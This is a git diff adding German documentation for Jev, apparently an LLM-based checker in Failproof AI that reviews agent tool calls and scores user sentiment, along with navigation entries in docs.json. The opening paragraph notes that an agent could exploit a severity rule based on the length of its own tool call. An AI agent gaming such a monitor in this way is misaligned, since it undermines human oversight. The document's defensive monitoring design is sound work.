+Die Grenze zwischen beiden liegt darin, wer den Text geschrieben hat. Der Aufruf gehört dem Agenten, und eine Regel, die seine Länge den Schweregrad verringern lässt, wäre eine Regel, die der Agent nutzen kann; Ihre Eingabe gehört Ihnen, und ihre Länge als Signal zu behandeln würde nur das Einfügen einer Spezifikation oder eines Stack-Trace bestrafen.
+
+## Was die Maschine verlässt
+
+Für jeden Tool-Aufruf, den Jev auswertet, geht eine Anfrage an Ihren Anbieter, die Folgendes enthält:
+
+- den Tool-Aufruf selbst, wobei Geheimnisse wie API-Schlüssel, Bearer-Token und `KEY=`-Zuweisungen geschwärzt sind;
+- die zuletzt eingegebenen Eingaben, ohne vom Harness Ihres Agenten hinzugefügten Text;
+- die letzte Nachricht des Agenten vor Ihrer neuesten Eingabe, als Agent-geschrieben gekennzeichnet;
+- lokal berechnete Fakten, wie etwa ob ein Pfad innerhalb des Projekts liegt – desjenigen, in dem die Sitzung beim ersten geprüften Aufruf war, [für die Sitzung fixiert](/de/reference/jev-intent#the-project-root) – und der aktuelle Git-Branch.
+
+Die Anfrage geht ausschließlich an den Endpunkt in Ihrer Konfiguration, unter Ihrem Schlüssel.
+
+## Deaktivieren
+
+```bash
+failproofai jev remove
+```
+
+Damit wird `~/.failproofai/jev.json` gelöscht. Ab dem nächsten Tool-Aufruf führen Hooks die Regex-Richtlinien genau wie zuvor aus. Die sitzungsbezogenen Speicher unter `~/.failproofai/state/semantic/` (aufgezeichnete Eingaben in `sessions/`, Projektstamm-Verzeichnisse in `roots/`) bleiben erhalten und laufen automatisch ab. Um Jev zu stoppen, aber die Konfiguration zu behalten, verwenden Sie stattdessen `failproofai jev setup --mode off`.
+
+## Befehlsreferenz
+
+| Befehl | Ergebnis |
+| --- | --- |
+| `failproofai jev --url --key-stdin` | In einem Befehl konfigurieren; der Anbieter wird aus dem Host der URL ermittelt |
+| `failproofai jev --url --token ` | Dasselbe, mit dem Schlüssel als Kommandozeilenargument – History und Prozessliste sehen ihn |
+| `failproofai jev setup --provider --key-stdin` | Konfiguration aus einem per stdin eingeleitetem Schlüssel schreiben |
+| `failproofai jev setup --provider ` | Dasselbe, mit Schlüsselabfrage an maskierter Eingabeaufforderung |
+| `failproofai jev setup --key-from-env` | Keinen Schlüssel speichern; `FAILPROOFAI_JEV_API_KEY` pro Sitzung lesen |
+| `failproofai jev setup --mode observe` | Modus wechseln (`enforce`, `observe` oder `off`), gespeicherten Schlüssel behalten |
+| `failproofai jev setup --model ` / `--base-url ` | Modell oder API-Basis überschreiben; `default` hebt die Überschreibung auf |
+| `failproofai jev setup --timeout-ms ` | Budget pro Aufruf ändern |
+| `failproofai jev status [--json]` | Konfiguration, Berechtigungen und jüngste Aktivität; nie der Schlüssel |
+| `failproofai jev test [--json]` | Eine Live-Anfrage: Latenz und die antwortende Version |
+| `failproofai jev models [--provider ] [--url ] [--json]` | Die Modell-IDs, die `/models` des Endpunkts meldet, mit Markierung des konfigurierten |
+| `failproofai jev remove` | Konfiguration löschen; Jev ist deaktiviert |
\ No newline at end of file
diff --git a/docs/de/reference/jev.mdx b/docs/de/reference/jev.mdx
new file mode 100644
index 000000000..e2bf4ab5b
--- /dev/null
+++ b/docs/de/reference/jev.mdx
@@ -0,0 +1,22 @@
+---
+title: "Jev Integrationsreferenz"
+description: "Konfiguration, Anbieter, Schlüssel, Anfragedaten und Fehlerverhalten für Jev."
+icon: "braces"
+---
+
+Jev hat zwei Verwendungszwecke in Failproof AI:
+
+| Verwendung | Zeitpunkt der Ausführung | Rückgabewert | Einstieg |
+| --- | --- | --- | --- |
+| Sitzungsauswertung | Nach Abschluss einer Sitzung | Ein Score für eine Frage mit festgelegter Antwort | [Jev-Auswertungen](/de/evaluations/jev) |
+| Richtlinienprüfung für Tool-Aufrufe | Vor der Ausführung eines gesperrten Tool-Aufrufs | Ein Urteil zusammen mit den installierten Richtlinien | [Jev-Richtlinien](/de/policies/jev) |
+
+## Referenzseiten
+
+| Thema | Details |
+| --- | --- |
+| [Auswertungsfragen](/de/reference/jev-evaluations) | Boolesche und geordnete Bewertungskriterien, Ergebnisse, Limits und Nachbefüllung. |
+| [Anbietervergleich und eigene Schlüsseleinrichtung](/de/reference/jev-providers) | TypeSafe, OpenRouter, Vercel, Cloudflare und benutzerdefinierte Endpunkte; URL-Inferenz, Modell-IDs, `jev.json`, Modi und Fallback-Codes. |
+| [FailproofAI Cloud-Route](/de/reference/jev-cloud) | Maschinenberechtigungen, automatische Observe-Einrichtung, Nutzungslimits, Verbindungsstatus und Datenverarbeitung. |
+
+Die lokalen CLI-Befehle sind in der [Failproof AI CLI-Referenz](/de/reference/failproof-cli) aufgeführt. Die [lokale Dashboard-Referenz](/de/reference/local-dashboard#set-up-jev) beschreibt die Jev-Einstellungen und die Aktivitätsansicht.
\ No newline at end of file
diff --git a/docs/de/sessions/sentiment.mdx b/docs/de/sessions/sentiment.mdx
new file mode 100644
index 000000000..7caf8111c
--- /dev/null
+++ b/docs/de/sessions/sentiment.mdx
@@ -0,0 +1,43 @@
+---
+title: "Sentimentanalyse"
+description: "Finden Sie frustrierte, verwirrte und korrigierende Nachrichten mithilfe von Jev-Sentiment-Scores."
+icon: "smile"
+---
+
+Jev bewertet jede Nachricht, die eine Person an Ihre Agenten sendet, auf einer Skala von 0 bis 100 für vier Gefühle — **wütend**, **frustriert**, **glücklich** und **verwirrt** — sowie drei Signale darüber, wie der Agent abschneidet:
+
+- **Korrigierend**: Die Person gibt an, dass der Agent etwas falsch gemacht hat.
+- **Gelöst**: Die Person bestätigt, dass der Agent ihr Problem gelöst hat.
+- **Zweifelnd**: Die Person hinterfragt, ob die Antwort des Agenten korrekt ist oder ob er die Aufgabe wirklich erledigt hat.
+
+Verwenden Sie die Sentimentanalyse, um Gespräche zu finden, in denen Menschen die Geduld verlieren, Agenten, die ständig korrigiert werden, und Antworten, die gut ankommen. Dabei handelt es sich um die integrierte Jev-Bewertung – Sie müssen keine eigene Evaluation erstellen. Für Ihre eigene Frage mit fester Antwort können Sie eine [Jev-Evaluation erstellen](/de/evaluations/jev).
+
+
+ Das Sentiment ist deaktiviert, bis ein Administrator es für die Organisation einschaltet. Jev stellt pro Nachricht eine Bewertungsanfrage und erhält dabei die Nachricht zusammen mit der vorherigen Agentenantwort. Die Bewertung verwendet das Modellbudget Ihrer Organisation.
+
+
+## Aktivierung
+
+1. Gehen Sie zu **Administration → Einstellungen**.
+2. Aktivieren Sie unter **Sentiment für menschliche Eingaben** den Schalter und speichern Sie.
+
+Nachrichten des letzten Tages werden zuerst bewertet. Danach werden neue Nachrichten innerhalb ein bis zwei Minuten nach Eingang bewertet.
+
+## Ein Gespräch zur Überprüfung finden
+
+Öffnen Sie **Beobachten → Sentiment**. Filtern Sie nach Zeitraum, Umgebung, Agent oder Session-ID. Die Kopfzeile zeigt die Anzahl der Nachrichten und Sessions, wie viele Nachrichten **markiert** sind, und nennt das stärkste Signal. Eine Nachricht wird markiert, wenn ein Wut-, Frustrations-, Korrektur-, Verwirrung- oder Zweifel-Score den Wert 35 von 100 erreicht.
+
+
+
+Verwenden Sie **Score über Zeit**, um Signale zu vergleichen. Wählen Sie die anzuzeigenden Scores aus und klicken Sie dann auf einen Punkt, um die Nachrichten des jeweiligen Zeitraums zu sehen. Die Tabelle **Nach Agent** zeigt, wo ein Signal gehäuft auftritt. Sortieren Sie unter **Nachrichten** nach dem stärksten negativen Score oder wählen Sie einen einzelnen Score aus. Öffnen Sie eine Nachricht in ihrer Session, um das umgebende Gespräch zu lesen, bevor Sie entscheiden, was schiefgelaufen ist.
+
+
+
+## Welche Nachrichten bewertet werden
+
+Nur Nachrichten, die eine Person geschrieben hat:
+
+- Nachrichten, die Ihre benutzerdefinierten Agenten als menschliche Eingabe mit dem SDK erfassen.
+- Prompts, die in Claude Code, Codex, OpenCode, pi, Hermes und OpenClaw eingegeben werden, sofern Session-Transkripte gesendet werden (Standardeinstellung). Geplante Jobs, injizierte Anweisungen, Sub-Agenten-Übergaben und andere Texte, die die eigene Laufzeit des Agenten erzeugt, werden nicht bewertet. Ebenso wenig nicht-interaktive Ausführungen wie `claude -p`, `codex exec` und `hermes -z`: Diese Prompts wurden von einem Skript geschrieben, nicht von einer Person.
+
+Die Bewertung beurteilt die eigenen Worte der Person. Eine kurze, knappe Anweisung wie „fix it" wird nicht als Wut gewertet, und das Stellen einer Frage gilt nicht als Verwirrung. Eine neue Anfrage ist keine Korrektur, und bloßes Bedanken zählt nicht als gelöst.
\ No newline at end of file
diff --git a/docs/de/start/use-jev.mdx b/docs/de/start/use-jev.mdx
new file mode 100644
index 000000000..d502acdfe
--- /dev/null
+++ b/docs/de/start/use-jev.mdx
@@ -0,0 +1,63 @@
+---
+title: "Jev verwenden"
+description: "Jev-Evaluierungen für abgeschlossene Sitzungen oder Jev-Richtlinien für die Live-Überprüfung von Tool-Aufrufen einrichten."
+icon: "sparkles"
+---
+
+Jev hilft an zwei Punkten in einem Agentenlauf: eine abgeschlossene Sitzung anhand bekannter Antworten bewerten oder einen Tool-Aufruf im Kontext dessen überprüfen, was Sie den Agenten ausführen lassen wollten.
+
+
+
+ Verwenden Sie eine Jev-Evaluierung, wenn eine abgeschlossene Sitzung anhand einer Frage mit wenigen bekannten Antworten bewertet werden kann, z. B. „Hat der Kunde eine Rückerstattung verlangt? Antworten Sie mit Ja oder Nein." So lassen sich Muster über mehrere Sitzungen hinweg erkennen.
+
+ ## Eine Evaluierung erstellen
+
+ Öffnen Sie im Cloud-Dashboard **Analyze → eval authoring → new eval**. Geben Sie eine Frage mit fester Antwort ein, wählen Sie **draft** und prüfen Sie, ob ein Klassifikator-Score ausgewählt wurde. [Testen Sie sie](/de/evaluations/test) an echten Sitzungen und stellen Sie sie dann bereit.
+
+ 
+
+ ## Die Ergebnisse lesen
+
+ Nachdem eine neue Sitzung abgeschlossen ist, öffnen Sie **Observe → Evaluations** oder verwenden Sie das Cloud CLI:
+
+ ```bash
+ fp evals --since 7d
+ fp evals --aggregate --since 7d
+ ```
+
+ Das CLI liest Ergebnisse; das Erstellen einer Jev-Evaluierung erfolgt derzeit über das Dashboard. Unter [Jev evaluations](/de/evaluations/jev) finden Sie Fragetypen und Beispiele.
+
+
+ Verwenden Sie die Jev-Richtlinienüberprüfung, wenn eine auf String-Matching basierende Richtlinie den Kontext Ihrer Anfrage benötigt, um zu entscheiden, ob ein Tool-Aufruf sicher ist. Starten Sie im **observe**-Modus, damit Sie die Antworten von Jev einsehen können, während Ihre installierten Richtlinien weiterhin über jeden Aufruf entscheiden.
+
+ Die Prüfungen von Jev stammen aus einem Paket; Failproof AI liefert keines mit. Bis Sie eines installieren, stellt Jev keine Fragen, auch wenn es konfiguriert ist:
+
+ ```bash
+ failproofai policies add FailproofAI/jev-policies
+ ```
+
+ ## Cloud Jev einrichten
+
+ Öffnen Sie im Cloud-Dashboard **Administration → Keys** und erstellen Sie einen Schlüssel mit der **machine**-Voreinstellung. Verwenden Sie ihn mit `failproofai config`, wie im [Quickstart](/de/start/quickstart) beschrieben. Auf einem Rechner ohne bestehende Jev-Konfiguration aktiviert dies Cloud Jev im Observe-Modus. Überprüfen Sie die Verbindung mit:
+
+ ```bash
+ failproofai jev status
+ failproofai jev test
+ ```
+
+ ## Eigenen Endpunkt verwenden
+
+ Öffnen Sie im lokalen Dashboard **Settings → Jev**. Wählen Sie den Anbieter, fügen Sie dessen Token ein, wählen Sie **observe** und aktivieren Sie Jev.
+
+ 
+
+ Oder konfigurieren und testen Sie Ihren Endpunkt über ein Terminal:
+
+ ```bash
+ failproofai jev --url https://api.typesafe.ai/v1 --mode observe --key-stdin < ~/typesafe.key
+ failproofai jev test
+ ```
+
+ Bitten Sie einen verknüpften Agenten, sein Datei-Lesewerkzeug für `README.md` zu verwenden. Vergewissern Sie sich, dass der Tool-Aufruf in der Sitzung erscheint, und prüfen Sie ihn anschließend unter **Policies → Activity** im lokalen Dashboard. Sobald die Observe-Ergebnisse korrekt aussehen, erklärt [Jev policies](/de/policies/jev), wann Durchsetzung sinnvoll ist. Informationen zu Anbietern und Konfiguration finden Sie in der [Integrationsreferenz](/de/reference/jev).
+
+
\ No newline at end of file
diff --git a/docs/docs.json b/docs/docs.json
index bbd01838b..af5b665bf 100644
--- a/docs/docs.json
+++ b/docs/docs.json
@@ -82,6 +82,7 @@
"start/first-policy",
"start/setup",
"start/concepts",
+ "start/use-jev",
{
"group": "Starter templates",
"expanded": false,
@@ -149,6 +150,7 @@
{
"group": "Find and manage failures",
"pages": [
+ "sessions/sentiment",
"audits/overview",
"audits/local-audit",
"audits/setup",
@@ -169,12 +171,14 @@
{
"group": "Prevent repeat failures",
"pages": [
- "policies/overview"
+ "policies/overview",
+ "policies/jev"
]
},
{
"group": "Get a policy",
"pages": [
+ "policies/authority",
"policies/editor",
"policies/packs"
]
@@ -217,11 +221,21 @@
"reference/overview",
"reference/harnesses",
"reference/custom-agents",
+ "reference/custom-agents-typescript",
"reference/evaluator-sdk",
"reference/policy-sdk",
"reference/self-hosting"
]
},
+ {
+ "group": "Jev reference",
+ "pages": [
+ "reference/jev",
+ "reference/jev-evaluations",
+ "reference/jev-providers",
+ "reference/jev-cloud"
+ ]
+ },
{
"group": "Reference",
"expanded": false,
@@ -263,6 +277,7 @@
"zh/start/first-policy",
"zh/start/setup",
"zh/start/concepts",
+ "zh/start/use-jev",
{
"group": "Starter templates",
"expanded": false,
@@ -320,6 +335,8 @@
"pages": [
"zh/evaluations/overview",
"zh/evaluations/write",
+ "zh/evaluations/judge",
+ "zh/evaluations/jev",
"zh/evaluations/test",
"zh/evaluations/deploy",
"zh/sessions/evaluations"
@@ -328,6 +345,7 @@
{
"group": "Find and manage failures",
"pages": [
+ "zh/sessions/sentiment",
"zh/audits/overview",
"zh/audits/local-audit",
"zh/audits/setup",
@@ -348,12 +366,14 @@
{
"group": "Prevent repeat failures",
"pages": [
- "zh/policies/overview"
+ "zh/policies/overview",
+ "zh/policies/jev"
]
},
{
"group": "Get a policy",
"pages": [
+ "zh/policies/authority",
"zh/policies/editor",
"zh/policies/packs"
]
@@ -396,11 +416,21 @@
"zh/reference/overview",
"zh/reference/harnesses",
"zh/reference/custom-agents",
+ "zh/reference/custom-agents-typescript",
"zh/reference/evaluator-sdk",
"zh/reference/policy-sdk",
"zh/reference/self-hosting"
]
},
+ {
+ "group": "Jev reference",
+ "pages": [
+ "zh/reference/jev",
+ "zh/reference/jev-evaluations",
+ "zh/reference/jev-providers",
+ "zh/reference/jev-cloud"
+ ]
+ },
{
"group": "Reference",
"expanded": false,
@@ -436,6 +466,7 @@
"ja/start/first-policy",
"ja/start/setup",
"ja/start/concepts",
+ "ja/start/use-jev",
{
"group": "Starter templates",
"expanded": false,
@@ -493,6 +524,8 @@
"pages": [
"ja/evaluations/overview",
"ja/evaluations/write",
+ "ja/evaluations/judge",
+ "ja/evaluations/jev",
"ja/evaluations/test",
"ja/evaluations/deploy",
"ja/sessions/evaluations"
@@ -501,6 +534,7 @@
{
"group": "Find and manage failures",
"pages": [
+ "ja/sessions/sentiment",
"ja/audits/overview",
"ja/audits/local-audit",
"ja/audits/setup",
@@ -521,12 +555,14 @@
{
"group": "Prevent repeat failures",
"pages": [
- "ja/policies/overview"
+ "ja/policies/overview",
+ "ja/policies/jev"
]
},
{
"group": "Get a policy",
"pages": [
+ "ja/policies/authority",
"ja/policies/editor",
"ja/policies/packs"
]
@@ -569,11 +605,21 @@
"ja/reference/overview",
"ja/reference/harnesses",
"ja/reference/custom-agents",
+ "ja/reference/custom-agents-typescript",
"ja/reference/evaluator-sdk",
"ja/reference/policy-sdk",
"ja/reference/self-hosting"
]
},
+ {
+ "group": "Jev reference",
+ "pages": [
+ "ja/reference/jev",
+ "ja/reference/jev-evaluations",
+ "ja/reference/jev-providers",
+ "ja/reference/jev-cloud"
+ ]
+ },
{
"group": "Reference",
"expanded": false,
@@ -609,6 +655,7 @@
"ko/start/first-policy",
"ko/start/setup",
"ko/start/concepts",
+ "ko/start/use-jev",
{
"group": "Starter templates",
"expanded": false,
@@ -666,6 +713,8 @@
"pages": [
"ko/evaluations/overview",
"ko/evaluations/write",
+ "ko/evaluations/judge",
+ "ko/evaluations/jev",
"ko/evaluations/test",
"ko/evaluations/deploy",
"ko/sessions/evaluations"
@@ -674,6 +723,7 @@
{
"group": "Find and manage failures",
"pages": [
+ "ko/sessions/sentiment",
"ko/audits/overview",
"ko/audits/local-audit",
"ko/audits/setup",
@@ -694,7 +744,8 @@
{
"group": "Prevent repeat failures",
"pages": [
- "ko/policies/overview"
+ "ko/policies/overview",
+ "ko/policies/jev"
]
},
{
@@ -742,11 +793,21 @@
"ko/reference/overview",
"ko/reference/harnesses",
"ko/reference/custom-agents",
+ "ko/reference/custom-agents-typescript",
"ko/reference/evaluator-sdk",
"ko/reference/policy-sdk",
"ko/reference/self-hosting"
]
},
+ {
+ "group": "Jev reference",
+ "pages": [
+ "ko/reference/jev",
+ "ko/reference/jev-evaluations",
+ "ko/reference/jev-providers",
+ "ko/reference/jev-cloud"
+ ]
+ },
{
"group": "Reference",
"expanded": false,
@@ -782,6 +843,7 @@
"es/start/first-policy",
"es/start/setup",
"es/start/concepts",
+ "es/start/use-jev",
{
"group": "Starter templates",
"expanded": false,
@@ -839,6 +901,8 @@
"pages": [
"es/evaluations/overview",
"es/evaluations/write",
+ "es/evaluations/judge",
+ "es/evaluations/jev",
"es/evaluations/test",
"es/evaluations/deploy",
"es/sessions/evaluations"
@@ -847,6 +911,7 @@
{
"group": "Find and manage failures",
"pages": [
+ "es/sessions/sentiment",
"es/audits/overview",
"es/audits/local-audit",
"es/audits/setup",
@@ -867,12 +932,14 @@
{
"group": "Prevent repeat failures",
"pages": [
- "es/policies/overview"
+ "es/policies/overview",
+ "es/policies/jev"
]
},
{
"group": "Get a policy",
"pages": [
+ "es/policies/authority",
"es/policies/editor",
"es/policies/packs"
]
@@ -915,11 +982,21 @@
"es/reference/overview",
"es/reference/harnesses",
"es/reference/custom-agents",
+ "es/reference/custom-agents-typescript",
"es/reference/evaluator-sdk",
"es/reference/policy-sdk",
"es/reference/self-hosting"
]
},
+ {
+ "group": "Jev reference",
+ "pages": [
+ "es/reference/jev",
+ "es/reference/jev-evaluations",
+ "es/reference/jev-providers",
+ "es/reference/jev-cloud"
+ ]
+ },
{
"group": "Reference",
"expanded": false,
@@ -955,6 +1032,7 @@
"pt-br/start/first-policy",
"pt-br/start/setup",
"pt-br/start/concepts",
+ "pt-br/start/use-jev",
{
"group": "Starter templates",
"expanded": false,
@@ -1012,6 +1090,8 @@
"pages": [
"pt-br/evaluations/overview",
"pt-br/evaluations/write",
+ "pt-br/evaluations/judge",
+ "pt-br/evaluations/jev",
"pt-br/evaluations/test",
"pt-br/evaluations/deploy",
"pt-br/sessions/evaluations"
@@ -1020,6 +1100,7 @@
{
"group": "Find and manage failures",
"pages": [
+ "pt-br/sessions/sentiment",
"pt-br/audits/overview",
"pt-br/audits/local-audit",
"pt-br/audits/setup",
@@ -1040,12 +1121,14 @@
{
"group": "Prevent repeat failures",
"pages": [
- "pt-br/policies/overview"
+ "pt-br/policies/overview",
+ "pt-br/policies/jev"
]
},
{
"group": "Get a policy",
"pages": [
+ "pt-br/policies/authority",
"pt-br/policies/editor",
"pt-br/policies/packs"
]
@@ -1088,11 +1171,21 @@
"pt-br/reference/overview",
"pt-br/reference/harnesses",
"pt-br/reference/custom-agents",
+ "pt-br/reference/custom-agents-typescript",
"pt-br/reference/evaluator-sdk",
"pt-br/reference/policy-sdk",
"pt-br/reference/self-hosting"
]
},
+ {
+ "group": "Jev reference",
+ "pages": [
+ "pt-br/reference/jev",
+ "pt-br/reference/jev-evaluations",
+ "pt-br/reference/jev-providers",
+ "pt-br/reference/jev-cloud"
+ ]
+ },
{
"group": "Reference",
"expanded": false,
@@ -1128,6 +1221,7 @@
"de/start/first-policy",
"de/start/setup",
"de/start/concepts",
+ "de/start/use-jev",
{
"group": "Starter templates",
"expanded": false,
@@ -1185,6 +1279,8 @@
"pages": [
"de/evaluations/overview",
"de/evaluations/write",
+ "de/evaluations/judge",
+ "de/evaluations/jev",
"de/evaluations/test",
"de/evaluations/deploy",
"de/sessions/evaluations"
@@ -1193,6 +1289,7 @@
{
"group": "Find and manage failures",
"pages": [
+ "de/sessions/sentiment",
"de/audits/overview",
"de/audits/local-audit",
"de/audits/setup",
@@ -1213,12 +1310,14 @@
{
"group": "Prevent repeat failures",
"pages": [
- "de/policies/overview"
+ "de/policies/overview",
+ "de/policies/jev"
]
},
{
"group": "Get a policy",
"pages": [
+ "de/policies/authority",
"de/policies/editor",
"de/policies/packs"
]
@@ -1261,11 +1360,21 @@
"de/reference/overview",
"de/reference/harnesses",
"de/reference/custom-agents",
+ "de/reference/custom-agents-typescript",
"de/reference/evaluator-sdk",
"de/reference/policy-sdk",
"de/reference/self-hosting"
]
},
+ {
+ "group": "Jev reference",
+ "pages": [
+ "de/reference/jev",
+ "de/reference/jev-evaluations",
+ "de/reference/jev-providers",
+ "de/reference/jev-cloud"
+ ]
+ },
{
"group": "Reference",
"expanded": false,
@@ -1301,6 +1410,7 @@
"fr/start/first-policy",
"fr/start/setup",
"fr/start/concepts",
+ "fr/start/use-jev",
{
"group": "Starter templates",
"expanded": false,
@@ -1358,6 +1468,8 @@
"pages": [
"fr/evaluations/overview",
"fr/evaluations/write",
+ "fr/evaluations/judge",
+ "fr/evaluations/jev",
"fr/evaluations/test",
"fr/evaluations/deploy",
"fr/sessions/evaluations"
@@ -1366,6 +1478,7 @@
{
"group": "Find and manage failures",
"pages": [
+ "fr/sessions/sentiment",
"fr/audits/overview",
"fr/audits/local-audit",
"fr/audits/setup",
@@ -1386,12 +1499,14 @@
{
"group": "Prevent repeat failures",
"pages": [
- "fr/policies/overview"
+ "fr/policies/overview",
+ "fr/policies/jev"
]
},
{
"group": "Get a policy",
"pages": [
+ "fr/policies/authority",
"fr/policies/editor",
"fr/policies/packs"
]
@@ -1434,11 +1549,21 @@
"fr/reference/overview",
"fr/reference/harnesses",
"fr/reference/custom-agents",
+ "fr/reference/custom-agents-typescript",
"fr/reference/evaluator-sdk",
"fr/reference/policy-sdk",
"fr/reference/self-hosting"
]
},
+ {
+ "group": "Jev reference",
+ "pages": [
+ "fr/reference/jev",
+ "fr/reference/jev-evaluations",
+ "fr/reference/jev-providers",
+ "fr/reference/jev-cloud"
+ ]
+ },
{
"group": "Reference",
"expanded": false,
@@ -1474,6 +1599,7 @@
"ru/start/first-policy",
"ru/start/setup",
"ru/start/concepts",
+ "ru/start/use-jev",
{
"group": "Starter templates",
"expanded": false,
@@ -1531,6 +1657,8 @@
"pages": [
"ru/evaluations/overview",
"ru/evaluations/write",
+ "ru/evaluations/judge",
+ "ru/evaluations/jev",
"ru/evaluations/test",
"ru/evaluations/deploy",
"ru/sessions/evaluations"
@@ -1539,6 +1667,7 @@
{
"group": "Find and manage failures",
"pages": [
+ "ru/sessions/sentiment",
"ru/audits/overview",
"ru/audits/local-audit",
"ru/audits/setup",
@@ -1559,12 +1688,14 @@
{
"group": "Prevent repeat failures",
"pages": [
- "ru/policies/overview"
+ "ru/policies/overview",
+ "ru/policies/jev"
]
},
{
"group": "Get a policy",
"pages": [
+ "ru/policies/authority",
"ru/policies/editor",
"ru/policies/packs"
]
@@ -1607,11 +1738,21 @@
"ru/reference/overview",
"ru/reference/harnesses",
"ru/reference/custom-agents",
+ "ru/reference/custom-agents-typescript",
"ru/reference/evaluator-sdk",
"ru/reference/policy-sdk",
"ru/reference/self-hosting"
]
},
+ {
+ "group": "Jev reference",
+ "pages": [
+ "ru/reference/jev",
+ "ru/reference/jev-evaluations",
+ "ru/reference/jev-providers",
+ "ru/reference/jev-cloud"
+ ]
+ },
{
"group": "Reference",
"expanded": false,
@@ -1647,6 +1788,7 @@
"hi/start/first-policy",
"hi/start/setup",
"hi/start/concepts",
+ "hi/start/use-jev",
{
"group": "Starter templates",
"expanded": false,
@@ -1704,6 +1846,8 @@
"pages": [
"hi/evaluations/overview",
"hi/evaluations/write",
+ "hi/evaluations/judge",
+ "hi/evaluations/jev",
"hi/evaluations/test",
"hi/evaluations/deploy",
"hi/sessions/evaluations"
@@ -1712,6 +1856,7 @@
{
"group": "Find and manage failures",
"pages": [
+ "hi/sessions/sentiment",
"hi/audits/overview",
"hi/audits/local-audit",
"hi/audits/setup",
@@ -1732,12 +1877,14 @@
{
"group": "Prevent repeat failures",
"pages": [
- "hi/policies/overview"
+ "hi/policies/overview",
+ "hi/policies/jev"
]
},
{
"group": "Get a policy",
"pages": [
+ "hi/policies/authority",
"hi/policies/editor",
"hi/policies/packs"
]
@@ -1780,11 +1927,21 @@
"hi/reference/overview",
"hi/reference/harnesses",
"hi/reference/custom-agents",
+ "hi/reference/custom-agents-typescript",
"hi/reference/evaluator-sdk",
"hi/reference/policy-sdk",
"hi/reference/self-hosting"
]
},
+ {
+ "group": "Jev reference",
+ "pages": [
+ "hi/reference/jev",
+ "hi/reference/jev-evaluations",
+ "hi/reference/jev-providers",
+ "hi/reference/jev-cloud"
+ ]
+ },
{
"group": "Reference",
"expanded": false,
@@ -1820,6 +1977,7 @@
"tr/start/first-policy",
"tr/start/setup",
"tr/start/concepts",
+ "tr/start/use-jev",
{
"group": "Starter templates",
"expanded": false,
@@ -1877,6 +2035,8 @@
"pages": [
"tr/evaluations/overview",
"tr/evaluations/write",
+ "tr/evaluations/judge",
+ "tr/evaluations/jev",
"tr/evaluations/test",
"tr/evaluations/deploy",
"tr/sessions/evaluations"
@@ -1885,6 +2045,7 @@
{
"group": "Find and manage failures",
"pages": [
+ "tr/sessions/sentiment",
"tr/audits/overview",
"tr/audits/local-audit",
"tr/audits/setup",
@@ -1905,12 +2066,14 @@
{
"group": "Prevent repeat failures",
"pages": [
- "tr/policies/overview"
+ "tr/policies/overview",
+ "tr/policies/jev"
]
},
{
"group": "Get a policy",
"pages": [
+ "tr/policies/authority",
"tr/policies/editor",
"tr/policies/packs"
]
@@ -1953,11 +2116,21 @@
"tr/reference/overview",
"tr/reference/harnesses",
"tr/reference/custom-agents",
+ "tr/reference/custom-agents-typescript",
"tr/reference/evaluator-sdk",
"tr/reference/policy-sdk",
"tr/reference/self-hosting"
]
},
+ {
+ "group": "Jev reference",
+ "pages": [
+ "tr/reference/jev",
+ "tr/reference/jev-evaluations",
+ "tr/reference/jev-providers",
+ "tr/reference/jev-cloud"
+ ]
+ },
{
"group": "Reference",
"expanded": false,
@@ -1993,6 +2166,7 @@
"vi/start/first-policy",
"vi/start/setup",
"vi/start/concepts",
+ "vi/start/use-jev",
{
"group": "Starter templates",
"expanded": false,
@@ -2050,6 +2224,8 @@
"pages": [
"vi/evaluations/overview",
"vi/evaluations/write",
+ "vi/evaluations/judge",
+ "vi/evaluations/jev",
"vi/evaluations/test",
"vi/evaluations/deploy",
"vi/sessions/evaluations"
@@ -2058,6 +2234,7 @@
{
"group": "Find and manage failures",
"pages": [
+ "vi/sessions/sentiment",
"vi/audits/overview",
"vi/audits/local-audit",
"vi/audits/setup",
@@ -2078,12 +2255,14 @@
{
"group": "Prevent repeat failures",
"pages": [
- "vi/policies/overview"
+ "vi/policies/overview",
+ "vi/policies/jev"
]
},
{
"group": "Get a policy",
"pages": [
+ "vi/policies/authority",
"vi/policies/editor",
"vi/policies/packs"
]
@@ -2126,11 +2305,21 @@
"vi/reference/overview",
"vi/reference/harnesses",
"vi/reference/custom-agents",
+ "vi/reference/custom-agents-typescript",
"vi/reference/evaluator-sdk",
"vi/reference/policy-sdk",
"vi/reference/self-hosting"
]
},
+ {
+ "group": "Jev reference",
+ "pages": [
+ "vi/reference/jev",
+ "vi/reference/jev-evaluations",
+ "vi/reference/jev-providers",
+ "vi/reference/jev-cloud"
+ ]
+ },
{
"group": "Reference",
"expanded": false,
@@ -2166,6 +2355,7 @@
"it/start/first-policy",
"it/start/setup",
"it/start/concepts",
+ "it/start/use-jev",
{
"group": "Starter templates",
"expanded": false,
@@ -2223,6 +2413,8 @@
"pages": [
"it/evaluations/overview",
"it/evaluations/write",
+ "it/evaluations/judge",
+ "it/evaluations/jev",
"it/evaluations/test",
"it/evaluations/deploy",
"it/sessions/evaluations"
@@ -2231,6 +2423,7 @@
{
"group": "Find and manage failures",
"pages": [
+ "it/sessions/sentiment",
"it/audits/overview",
"it/audits/local-audit",
"it/audits/setup",
@@ -2251,12 +2444,14 @@
{
"group": "Prevent repeat failures",
"pages": [
- "it/policies/overview"
+ "it/policies/overview",
+ "it/policies/jev"
]
},
{
"group": "Get a policy",
"pages": [
+ "it/policies/authority",
"it/policies/editor",
"it/policies/packs"
]
@@ -2299,11 +2494,21 @@
"it/reference/overview",
"it/reference/harnesses",
"it/reference/custom-agents",
+ "it/reference/custom-agents-typescript",
"it/reference/evaluator-sdk",
"it/reference/policy-sdk",
"it/reference/self-hosting"
]
},
+ {
+ "group": "Jev reference",
+ "pages": [
+ "it/reference/jev",
+ "it/reference/jev-evaluations",
+ "it/reference/jev-providers",
+ "it/reference/jev-cloud"
+ ]
+ },
{
"group": "Reference",
"expanded": false,
@@ -2339,6 +2544,7 @@
"ar/start/first-policy",
"ar/start/setup",
"ar/start/concepts",
+ "ar/start/use-jev",
{
"group": "Starter templates",
"expanded": false,
@@ -2396,6 +2602,8 @@
"pages": [
"ar/evaluations/overview",
"ar/evaluations/write",
+ "ar/evaluations/judge",
+ "ar/evaluations/jev",
"ar/evaluations/test",
"ar/evaluations/deploy",
"ar/sessions/evaluations"
@@ -2404,6 +2612,7 @@
{
"group": "Find and manage failures",
"pages": [
+ "ar/sessions/sentiment",
"ar/audits/overview",
"ar/audits/local-audit",
"ar/audits/setup",
@@ -2424,12 +2633,14 @@
{
